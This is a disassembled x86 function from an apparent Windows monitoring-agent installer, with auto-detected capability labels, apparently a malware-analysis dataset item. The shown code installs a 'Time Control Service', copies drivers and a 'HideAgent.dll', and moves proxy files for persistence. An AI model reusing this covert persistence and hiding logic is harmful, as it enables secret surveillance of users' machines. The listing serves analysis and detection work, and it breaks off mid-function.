Function at 0x413830
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file
Enumerate files on windows
Get common file path
Get installed programs
Move file
Persist via windows service
Print debug messages
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448f5d
mov eax, dword fs:[0]
push eax
sub esp, 0x428
mov eax, dword [0x45c070]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x2a0], ebx
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov esi, ecx
mov ecx, 0x45d48c
mov dword [ebp - 0x2b4], esi
call edx
add eax, 0x10
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
cmp byte [ebp + 8], bl
jne 0x41396e
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
add eax, 0x10
mov dword [ebp - 0x2b0], eax
mov edi, 0xbc
mov byte [ebp - 4], 2
call fcn.004032e0
cmp eax, ebx
je 0x4138d1
push eax
mov eax, edi
lea edi, [ebp - 0x2b0]
call fcn.00403490
mov byte [ebp - 4], 3
mov edi, dword [ebp - 0x2b0]
add edi, 0xfffffff0
mov eax, edi
call fcn.00403230
lea ebx, [eax + 0x10]
mov dword [ebp - 0x2b0], ebx
mov byte [ebp - 4], 5
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41390b
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
cmp dword [0x45f350], 0
je 0x413944
cmp dword [ebx - 4], 1
jle 0x413930
mov ecx, dword [ebx - 0xc]
push ecx
lea edx, [ebp - 0x2b0]
push edx
call fcn.00403590
mov ebx, dword [ebp - 0x2b0]
mov eax, dword [0x45f350]
push 0
push ebx
push 0x800f
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push esi
xor ecx, ecx
call fcn.00413760
add ebx, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41396e
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
lea edi, [eax + 0x10]
mov dword [ebp - 0x2a4], edi
mov byte [ebp - 4], 6
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
mov ebx, 0x104
sub eax, ebx
or eax, ecx
jge 0x4139b3
mov ecx, ebx
lea eax, [ebp - 0x2a4]
call fcn.00403650
mov edi, dword [ebp - 0x2a4]
cmp dword [edi - 8], ebx
jge 0x4139c2
push 0x80070057
call fcn.004036a0
push ebx
xor eax, eax
mov dword [edi - 0xc], ebx
push edi
mov word [edi + 0x208], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, edi
lea edx, [eax + 2]
jmp 0x4139e0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4139e0
sub eax, edx
sar eax, 1
js 0x4139b8
cmp eax, dword [edi - 8]
jg 0x4139b8
xor ecx, ecx
mov dword [edi - 0xc], eax
mov word [edi + eax*2], cx
mov edx, str.SysWOW64_
cmp dword [0x45f3e8], ecx
jne 0x413a11
mov edx, str.System32_
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x413a16
sub eax, edi
sar eax, 1
push eax
push edx
lea edx, [ebp - 0x2a4]
push edx
call fcn.00403a70
push 0
xor edx, edx
mov ecx, str.Time_Control_Service
call fcn.0040e070
add esp, 4
test eax, eax
je 0x413a74
mov edi, dword [0x45f3ec]
cmp dword [edi - 0xc], 0
je 0x413a74
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x15f
push str.CInstaller::InstallAgent
mov edx, str.Installer.cpp
mov ecx, edi
call fcn.00403b40
add esp, 0xc
push 0
push str.Time_Control_Service
call fcn.0040db00
add esp, 8
test eax, eax
je 0x413ab3
mov edi, dword [0x45f3ec]
cmp dword [edi - 0xc], 0
je 0x413ab3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x160
push str.CInstaller::InstallAgent
mov edx, str.Installer.cpp
mov ecx, edi
call fcn.00403b40
add esp, 0xc
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
add eax, 0x10
mov dword [ebp - 0x2c8], eax
mov byte [ebp - 4], 7
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
lea edi, [eax + 0x10]
mov dword [ebp - 0x2b0], edi
mov byte [ebp - 4], 8
mov eax, dword [0x45d48c]
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
call edx
lea esi, [eax + 0x10]
mov dword [ebp - 0x2b8], esi
mov byte [ebp - 4], 9
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, ebx
or eax, ecx
jge 0x413b2b
mov ecx, ebx
lea eax, [ebp - 0x2b0]
call fcn.00403650
mov edi, dword [ebp - 0x2b0]
cmp dword [edi - 8], ebx
jge 0x413b3a
push 0x80070057
call fcn.004036a0
push ebx
xor eax, eax
mov dword [edi - 0xc], ebx
push edi
mov word [edi + 0x208], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, dword [0x460238]
push ecx
push 0x452928
lea edi, [ebp - 0x2c8]
call fcn.00403fa0
add esp, 8
cmp dword [0x45f3e8], 0
mov edi, str.install64.cmd
jne 0x413b7b
mov edi, str.install.cmd
lea edx, [ebp - 0x2c8]
push edx
lea eax, [ebp - 0x288]
push eax
mov ebx, 0x451924
call fcn.00406e70
add esp, 8
push eax
lea ecx, [ebp - 0x29c]
push ecx
mov ebx, 0x45296c
mov byte [ebp - 4], 0xa
call fcn.00406e70
add esp, 8
push eax
lea edx, [ebp - 0x270]
push edx
mov ebx, edi
mov byte [ebp - 4], 0xb
call fcn.00406e70
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea edi, [esi - 0x10]
cmp eax, edi
je 0x413c22
cmp dword [edi + 0xc], 0
lea ebx, [edi + 0xc]
jl 0x413c0c
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x413c0c
call fcn.00403230
mov esi, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x413c01
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add esi, 0x10
mov dword [ebp - 0x2b8], esi
jmp 0x413c1c
mov ebx, dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.004036c0
mov esi, dword [ebp - 0x2b8]
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x270]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413c48
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x29c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413c6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x288]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413c94
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x40
lea ecx, [ebp - 0x430]
push 0
push ecx
mov dword [ebp - 0x434], 0x44
call fcn.00431310
xor edx, edx
add esp, 0xc
mov word [ebp - 0x404], dx
cmp dword [esi - 4], 1
jle 0x413cd6
mov eax, dword [esi - 0xc]
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.00403590
mov esi, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2c8]
lea edx, [ebp - 0x3a0]
push edx
lea eax, [ebp - 0x434]
push eax
push ecx
push 0
push 0x8000020
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x413d17
mov edx, dword [ebp - 0x3a0]
push 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x270]
push ecx
mov ebx, 0x452974
call fcn.00406e70
add esp, 8
push eax
mov byte [ebp - 4], 0xd
call fcn.00410cb0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x270]
add eax, 0xfffffff0
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413d65
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp + 8], 0
jne 0x413d7e
mov ecx, dword [ebp - 0x2b4]
push 2
push ecx
mov ecx, 1
call fcn.00413760
lea edx, [ebp - 0x2a4]
push edx
lea eax, [ebp - 0x270]
push eax
mov ebx, 0x452974
call fcn.00406e70
mov eax, dword [eax]
mov edi, dword [sym.imp.SHELL32.dll_SHCreateDirectory]
add esp, 8
push eax
push 0
call edi
mov eax, dword [ebp - 0x270]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413dc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [0x46023c]
push ecx
push 0
call edi
lea edx, [ebp - 0x270]
push 0x460238
push edx
mov ebx, 0x452974
mov dword [ebp - 0x2c0], 1
call fcn.00406e70
add esp, 8
push eax
mov byte [ebp - 4], 0xe
call fcn.00411180
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x38c], ecx
xor ecx, ecx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x270]
add eax, 0xfffffff0
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x370], edx
add esp, 4
mov dword [ebp - 0x388], 0xa
mov dword [ebp - 0x384], 0x41
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413e63
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x2a4]
push ecx
lea edx, [ebp - 0x29c]
push edx
mov ebx, 0x452974
call fcn.00406e70
add esp, 8
mov edi, eax
lea eax, [ebp - 0x270]
push 0x460238
push eax
mov byte [ebp - 4], 0xf
call fcn.00406e70
add esp, 8
push 0xb
lea ecx, [ebp - 0x38c]
push ecx
push 0x4136e0
push edi
push eax
mov byte [ebp - 4], 0x10
call fcn.004114c0
add esp, 0x14
test eax, eax
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x270]
sete bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413edf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x29c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413f05
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x460238
test bl, bl
je 0x4142bc
lea ecx, [ebp - 0x29c]
push ecx
mov ebx, 0x452980
call fcn.00406e70
add esp, 8
lea edx, [ebp - 0x26c]
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x29c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x414245
lea esp, [esp]
mov ecx, 0x452758
lea eax, [ebp - 0x240]
jmp 0x413f60
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x413f86
test dx, dx
je 0x413f82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x413f86
add eax, 4
add ecx, 4
test dx, dx
jne 0x413f60
xor eax, eax
jmp 0x413f8b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x414177
mov ecx, 0x45275c
lea eax, [ebp - 0x240]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x413fc6
test dx, dx
je 0x413fc2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x413fc6
add eax, 4
add ecx, 4
test dx, dx
jne 0x413fa0
xor eax, eax
jmp 0x413fcb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x414177
lea ecx, [ebp - 0x2dc]
push 0x46023c
push ecx
mov ebx, 0x451924
call fcn.00406e70
add esp, 8
push eax
lea edx, [ebp - 0x274]
push edx
lea ebx, [ebp - 0x240]
mov byte [ebp - 4], 0x12
call fcn.00406e70
add esp, 8
mov edi, eax
lea eax, [ebp - 0x288]
push 0x460238
push eax
mov ebx, str.Ltprx_
mov byte [ebp - 4], 0x13
call fcn.00406e70
add esp, 8
push eax
lea ecx, [ebp - 0x270]
push ecx
lea ebx, [ebp - 0x240]
mov byte [ebp - 4], 0x14
call fcn.00406e70
mov ecx, dword [edi]
mov eax, dword [eax]
add esp, 8
push 0xb
push 0
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
test eax, eax
mov eax, dword [ebp - 0x270]
sete bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x414078
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x288]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41409e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x274]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4140c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x2dc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4140ea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x4140f5
xor edi, edi
jmp 0x414193
lea ecx, [ebp - 0x2e0]
push 0x46023c
push ecx
mov ebx, 0x451924
call fcn.00406e70
add esp, 8
push eax
lea edx, [ebp - 0x2bc]
push edx
lea ebx, [ebp - 0x240]
mov byte [ebp - 4], 0x15
call fcn.00406e70
mov ecx, dword [eax]
add esp, 8
call fcn.004113d0
mov eax, dword [ebp - 0x2bc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414151
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x2e0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414177
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x26c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x413f50
mov edi, dword [ebp - 0x2c0]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test edi, edi
je 0x414252
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x2c0]
push ecx
mov ebx, 0x452974
call fcn.00406e70
add esp, 8
push 5
lea edx, [ebp - 0x38c]
push edx
push 0x4136e0
push eax
push 0x46023c
mov byte [ebp - 4], 0x16
call fcn.004114c0
add esp, 0x14
test eax, eax
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x2c0]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414208
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x414294
lea ecx, [ebp - 0x354]
push ecx
mov ecx, str.Failed_to_delayed_move_proxy_directory
mov byte [ebp - 0x35c], 0
call fcn.004037a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x456afc
lea edx, [ebp - 0x35c]
push edx
mov dword [ebp - 0x358], eax
call fcn.00434818
mov edx, dword [ebp - 0x29c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x46023c
call fcn.00410cb0
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov ecx, str.Failed_to_move_proxy_to_init_directory
mov byte [ebp - 0x344], 0
call fcn.004037a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x456afc
lea edx, [ebp - 0x344]
push edx
mov dword [ebp - 0x340], eax
call fcn.00434818
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x29c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414310
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x414310
lea eax, [ebp - 0x2c0]
push eax
mov ebx, 0x452974
call fcn.00406e70
add esp, 8
push eax
mov byte [ebp - 4], 0x17
call fcn.00410cb0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x2c0]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414303
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x46023c
call fcn.00410cb0
add esp, 4
cmp byte [ebp + 8], 0
jne 0x414329
mov ecx, dword [ebp - 0x2b4]
push 0
push ecx
mov ecx, 5
call fcn.00413760
xor edi, edi
mov dword [ebp - 0x284], edi
mov dword [ebp - 0x280], edi
mov dword [ebp - 0x27c], edi
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x298], edi
mov dword [ebp - 0x294], edi
mov dword [ebp - 0x290], edi
mov dword [ebp - 0x28c], edi
mov byte [ebp - 4], 0x19
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
cmp dword [0x45f3e8], edi
je 0x414828
call fcn.004285e0
test al, al
jne 0x414387
push 0x8007000e
call fcn.004036a0
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x284]
cmp eax, edi
je 0x4143a0
push eax
mov ecx, str.CaptureFileMonitor.sys
call fcn.004037a0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x280]
inc edi
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x4143dd
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x4143d7
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov edx, dword [ebp - 0x284]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x1b
test eax, eax
je 0x4143f9
push eax
mov ecx, 0x452a70
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414430
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x41442a
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x1c
test eax, eax
je 0x41444c
push eax
mov ecx, str.FileMonitorInstallation.inf
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414483
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x41447d
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x1d
test eax, eax
je 0x41449f
push eax
mov ecx, str.HideAgent.dll
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x4144d6
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x4144d0
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov edx, dword [ebp - 0x284]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x1e
test eax, eax
je 0x4144f2
push eax
mov ecx, 0x452ae0
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414529
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414523
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x1f
test eax, eax
je 0x414545
push eax
mov ecx, 0x452afc
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x41457c
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414576
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x20
test eax, eax
je 0x414598
push eax
mov ecx, 0x452b18
call fcn.004037a0
mov byte [ebp - 4], 0x19
inc edi
mov eax, 1
lea esi, [ebp - 0x298]
mov dword [ebp - 0x280], edi
call fcn.004285e0
test al, al
jne 0x4145c1
push 0x8007000e
call fcn.004036a0
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x298]
test eax, eax
je 0x4145da
push eax
mov ecx, str.x64_Signed_DriversProcObsrv.inf
call fcn.004037a0
mov byte [ebp - 4], 0x19
mov esi, dword [ebp - 0x294]
inc esi
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414617
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414611
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x22
test eax, eax
je 0x414633
push eax
mov ecx, 0x452b90
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x41466a
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414664
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x23
test eax, eax
je 0x414686
push eax
mov ecx, 0x452bd8
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x4146bd
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x4146b7
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x24
test eax, eax
je 0x4146d9
push eax
mov ecx, str.sstray64.exe
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414710
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x41470a
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x25
test eax, eax
je 0x41472c
push eax
mov ecx, 0x452c10
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414763
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x41475d
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x26
test eax, eax
je 0x41477f
push eax
mov ecx, 0x452c28
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x4147b6
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x4147b0
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x27
test eax, eax
je 0x4147d2
push eax
mov ecx, 0x452c60
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414809
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414803
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x28
test eax, eax
je 0x414d2c
mov ecx, 0x452c70
jmp 0x414d26
call fcn.004285e0
test al, al
jne 0x41483b
push 0x8007000e
call fcn.004036a0
mov byte [ebp - 4], 0x29
mov eax, dword [ebp - 0x284]
cmp eax, edi
je 0x414854
push eax
mov ecx, str.x64_Signed_Driverscapturefilemonitor64.cat
call fcn.004037a0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x280]
inc edi
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414891
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x41488b
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x2a
test eax, eax
je 0x4148ad
push eax
mov ecx, str.x64_Signed_DriversCaptureFileMonitor64.sys
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x4148e4
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x4148de
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x2b
test eax, eax
je 0x414900
push eax
mov ecx, 0x452bd8
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414937
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414931
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov edx, dword [ebp - 0x284]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x2c
test eax, eax
je 0x414953
push eax
mov ecx, str.x64_Signed_DriversFileMonitorInstallation64.inf
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x41498a
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414984
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x2d
test eax, eax
je 0x4149a6
push eax
mov ecx, 0x452b90
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x4149dd
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x4149d7
push 0x8007000e
